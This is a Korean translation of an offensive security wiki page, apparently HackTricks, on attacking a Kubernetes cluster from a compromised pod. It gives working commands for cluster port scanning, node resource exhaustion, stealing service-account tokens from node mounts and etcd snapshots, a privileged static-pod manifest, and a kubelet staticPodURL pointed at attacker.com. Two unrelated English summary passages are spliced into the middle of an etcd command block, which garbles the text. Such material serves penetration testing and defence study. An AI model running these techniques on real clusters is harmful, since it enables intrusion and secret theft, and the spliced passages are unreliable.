Attacking Kubernetes from inside a Pod

HackTricks 지원

Pod 탈출

운이 좋다면 이를 통해 노드로 탈출할 수 있을지도 모릅니다:

파드로부터 탈출

파드로부터 탈출하려면 먼저 권한 상승이 필요할 수 있습니다. 이를 수행하기 위한 몇 가지 기술:

컴프라마이즈된 파드로부터 탈출을 시도하기 위해 이 도커 탈출을 확인할 수 있습니다:

Kubernetes 권한 남용

Kubernetes 열거 섹션에서 설명한 대로:

Kubernetes Enumeration

일반적으로 파드는 내부에 서비스 계정 토큰이 함께 실행됩니다. 이 서비스 계정에는 남용할 수 있는 권한이 부여될 수 있으며, 이를 통해 다른 파드로 이동하거나 클러스터 내에서 구성된 노드로 탈출할 수 있습니다. 자세한 내용은 다음을 확인하세요:

Abusing Roles/ClusterRoles in Kubernetes

클라우드 권한 남용

파드가 클라우드 환경에서 실행 중인 경우 메타데이터 엔드포인트에서 토큰을 노출하고 해당 토큰을 사용하여 권한을 상승할 수 있습니다.

취약한 네트워크 서비스 검색

Kubernetes 환경 내부에 있으므로 현재 파드의 권한을 남용하여 권한 상승을 할 수 없거나 컨테이너에서 탈출할 수 없는 경우 잠재적으로 취약한 서비스를 찾아야 합니다.

서비스

이를 위해 Kubernetes 환경의 모든 서비스를 가져오려고 할 수 있습니다:

kubectl get svc --all-namespaces

기본적으로 Kubernetes는 평면 네트워킹 스키마를 사용하며, 이는 클러스터 내의 모든 pod/service가 서로 통신할 수 있다는 것을 의미합니다. 클러스터 내의 네임스페이스기본적으로 네트워크 보안 제한이 없습니다. 네임스페이스 내의 누구나 다른 네임스페이스와 통신할 수 있습니다.

스캐닝

다음 Bash 스크립트( Kubernetes workshop에서 가져옴)는 Kubernetes 클러스터의 IP 범위를 설치하고 스캔합니다:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

스니핑

컴프라마이즈된 파드가 민감한 서비스를 실행하는 경우 다른 파드가 인증해야 하는 경우, 로컬 통신을 스니핑하여 다른 파드로부터 전송된 자격 증명을 획득할 수 있을 수 있습니다.

네트워크 스푸핑

기본적으로 ARP 스푸핑과 (그로 인한 DNS 스푸핑 덕분에) 같은 기법들이 쿠버네티스 네트워크에서 작동합니다. 그리고 파드 내에서, NET_RAW 능력이 있다면 (기본적으로 제공됨), 사용자 정의로 제작된 네트워크 패킷을 보낼 수 있고 동일 노드에서 실행 중인 모든 파드에 대해 ARP 스푸핑을 통한 MitM 공격을 수행할 수 있을 것입니다. 게다가, 악의적인 파드DNS 서버와 동일한 노드에서 실행 중인 경우, 클러스터 내 모든 파드에 대해 DNS 스푸핑 공격을 수행할 수 있을 것입니다.

노드 DoS

쿠버네티스 매니페스트에는 자원에 대한 명세가 없으며 컨테이너에 대한 적용된 제한 범위가 없습니다. 공격자로서, 파드/배포가 실행 중인 모든 자원을 소비하여 다른 자원을 고갈시키고 환경에 대한 DoS를 유발할 수 있습니다.

이 작업은 stress-ng와 같은 도구를 사용하여 수행할 수 있습니다:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

stress-ng를 실행하는 동안과 이후의 차이를 확인할 수 있습니다.

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

노드 포스트 익스플로잇레이션

만약 당신이 컨테이너에서 탈출에 성공했다면, 노드에서 다음과 같은 흥미로운 것들을 발견할 수 있습니다:

  • 컨테이너 런타임 프로세스 (도커)

  • 이것과 같이 남은 팟/컨테이너들 (더 많은 토큰을 얻을 수 있음)

  • 전체 파일 시스템운영 체제

  • 수신 대기 중인 Kube-Proxy 서비스

  • 수신 대기 중인 Kubelet 서비스. 구성 파일을 확인하세요:

    • 디렉토리: /var/lib/kubelet/

    • /var/lib/kubelet/kubeconfig

    • /var/lib/kubelet/kubelet.conf

    • /var/lib/kubelet/config.yaml

    • /var/lib/kubelet/kubeadm-flags.env

    • /etc/kubernetes/kubelet-kubeconfig

  • 다른 쿠버네티스 공통 파일:

    • $HOME/.kube/config - 사용자 구성

    • /etc/kubernetes/kubelet.conf- 일반 구성

    • /etc/kubernetes/bootstrap-kubelet.conf - 부트스트랩 구성

    • /etc/kubernetes/manifests/etcd.yaml - etcd 구성

    • /etc/kubernetes/pki - 쿠버네티스 키

노드 kubeconfig 찾기

이전에 언급된 경로 중 하나에서 kubeconfig 파일을 찾을 수 없다면, kubelet 프로세스의 인수 --kubeconfig을 확인하세요:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

비밀 유출

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

스크립트 can-they.sh은 자동으로 다른 팟의 토큰을 가져와 권한을 확인하여 원하는 권한이 있는지 확인합니다 (1대1로 확인하는 대신):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

특권 DaemonSets

DaemonSet은 클러스터의 모든 노드에서 실행될 입니다. 따라서 특권 서비스 계정으로 구성된 DaemonSet이 있다면, 모든 노드에서 해당 특권 서비스 계정의 토큰을 악용할 수 있습니다.

이 취약점은 이전 섹션과 동일하지만, 이제 운에 의존하지 않습니다.

클라우드로 피벗

클러스터가 클라우드 서비스로 관리되는 경우, 노드는 Pod와는 다른 액세스 권한을 메타데이터 엔드포인트에 가집니다. 따라서 노드에서 메타데이터 엔드포인트에 액세스하려고 시도하십시오 (또는 hostNetwork가 True로 설정된 팟에서):

Kubernetes Pivoting to Clouds

etcd 도용

컨테이너를 실행할 노드의 nodeName를 지정할 수 있다면, 제어 플레인 노드 내에서 쉘을 획들하고 etcd 데이터베이스를 가져옵니다:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

control-plane 노드는 마스터 역할을 갖고 있으며 클라우드 관리 클러스터에서는 해당 노드에서 아무 것도 실행할 수 없습니다.

etcd에서 시크릿 읽기

팟 스펙에서 nodeName 셀렉터를 사용하여 컨트롤 플레인 노드에서 팟을 실행할 수 있다면, 클러스터의 모든 구성물 및 모든 시크릿을 포함하는 etcd 데이터베이스에 쉽게 액세스할 수 있습니다.

아래는 현재 작업 중인 컨트롤 플레인 노드에서 실행 중인 etcd에서 시크릿을 가져오는 빠르고 간단한 방법입니다. etcdctl 클라이언트 유틸리티를 사용하여 팟을 생성하고 해당 팟을 사용하여 어디에서든 실행 중인 etcd에 연결하는 컨트롤 플레인 노드의 자격 증명을 사용하는 더 우아한 솔루션을 원한다면, @mauilion의 이 예제 매니페스트를 확인하세요.

컨트롤 플레인 노드에서 etcd가 실행 중인지 확인하고 데이터베이스가 어디에 있는지 확인합니다 (이는 kubeadm으로 생성된 클러스터에서 진행됩니다)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
## Attacking Kubernetes from Inside a Pod

In a Kubernetes cluster, if an attacker gains access to a pod, they can perform various attacks to escalate privileges and move laterally within the cluster. Some common techniques include:

1. **Pod Escape**: Exploiting misconfigurations to break out of the pod and access the host machine.
2. **Service Account Compromise**: Accessing sensitive resources by compromising service accounts within the pod.
3. **Network Sniffing**: Monitoring network traffic to intercept sensitive information.
4. **Pod to Pod Communication**: Eavesdropping on communication between pods to gather valuable data.
5. **Resource Exhaustion**: Consuming excessive resources within the pod to disrupt the cluster's performance.

To prevent these attacks, it is crucial to follow security best practices such as implementing network policies, restricting pod permissions, and regularly auditing cluster configurations.
data-dir=/var/lib/etcd

etcd 데이터베이스의 데이터 보기:

strings /var/lib/etcd/member/snap/db | less

데이터베이스에서 토큰을 추출하고 서비스 계정 이름을 표시합니다

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

동일한 명령어이지만 kube-system 네임스페이스에서 기본 토큰만 반환하도록 일부 greps를 추가합니다

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Attacking Kubernetes from Inside a Pod

In a Kubernetes cluster, if an attacker gains access to a pod, they can perform various attacks to escalate privileges and move laterally within the cluster. Some common techniques include:

1. **Accessing the Kubernetes API**: An attacker can access the Kubernetes API from inside a compromised pod, allowing them to gather information about the cluster and potentially perform further attacks.

2. **Mounting Host Paths**: By mounting host paths to a pod, an attacker can access sensitive host resources such as configuration files or other pods' data.

3. **Exploiting Service Accounts**: Service accounts are used by pods to authenticate with the Kubernetes API. If an attacker gains access to a pod's service account token, they can perform actions on behalf of that service account.

4. **Pod Escape**: In some cases, it may be possible for an attacker to break out of the pod's environment and gain access to the underlying node, allowing for further compromise of the cluster.

To mitigate these risks, it is essential to follow security best practices such as restricting pod permissions, limiting access to the Kubernetes API, and regularly monitoring pod activities for any suspicious behavior.
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

정적/거울화된 파드 지속성

_정적 파드_는 API 서버가 관찰하지 않고 특정 노드의 kubelet 데몬에 의해 직접 관리됩니다. (예: 배포와 같이) kubelet는 각 정적 파드를 감시하며 (실패 시 다시 시작합니다).

따라서 정적 파드는 항상 특정 노드의 하나의 Kubelet에 바인딩됩니다.

kubelet은 자동으로 Kubernetes API 서버에 대한 미러 파드를 생성하려고 시도합니다. 이는 노드에서 실행 중인 파드가 API 서버에 표시되지만 거기서 제어할 수 없다는 것을 의미합니다. 파드 이름은 노드 호스트 이름과 선행 하이픈이 붙은 접미사가 될 것입니다.

정적 파드의 spec은 다른 API 객체를 참조할 수 없습니다 (예: ServiceAccount, ConfigMap, Secret 등). 따라서 현재 노드에서 임의의 ServiceAccount로 파드를 시작하여 클러스터를 침해할 수는 없습니다. 그러나 이를 사용하여 다른 네임스페이스에서 파드를 실행할 수는 있습니다 (어떤 이유로 유용할 수 있음).

노드 호스트 내부에 있다면 자체 내부에 정적 파드를 생성할 수 있습니다. 이는 kube-system과 같은 다른 네임스페이스에 파드를 생성할 수 있기 때문에 매우 유용합니다.

정적 파드를 생성하려면 문서가 큰 도움이 됩니다. 기본적으로 2가지가 필요합니다:

  • kubelet 서비스 또는 kubelet 구성에서 --pod-manifest-path=/etc/kubernetes/manifests 매개변수를 구성하고 서비스를 다시 시작합니다 (staticPodPath)

  • **/etc/kubernetes/manifests**의 파드 정의에 정의를 생성합니다

더 은밀한 방법은 다음과 같습니다:

  • kubelet 구성 파일에서 staticPodURL 매개변수를 수정하여 staticPodURL: http://attacker.com:8765/pod.yaml과 같이 설정합니다. 이렇게 하면 kubelet 프로세스가 지정된 URL에서 구성을 가져와 정적 파드를 생성하게 됩니다.

예시여기에서 가져온 kube-system에 권한이 있는 파드를 생성하는 파드 구성:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

포드 삭제 + 스케줄할 수 없는 노드

만약 공격자가 노드를 침해했고, 그가 다른 노드에서 포드를 삭제하고 다른 노드가 포드를 실행할 수 없게 만들 수 있다면, 해당 포드는 침해된 노드에서 다시 실행되며, 그는 그들에서 실행 중인 토큰을 탈취할 수 있을 것입니다. 자세한 정보는 이 링크를 따르세요.

자동 도구

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
HackTricks 지원

Last updated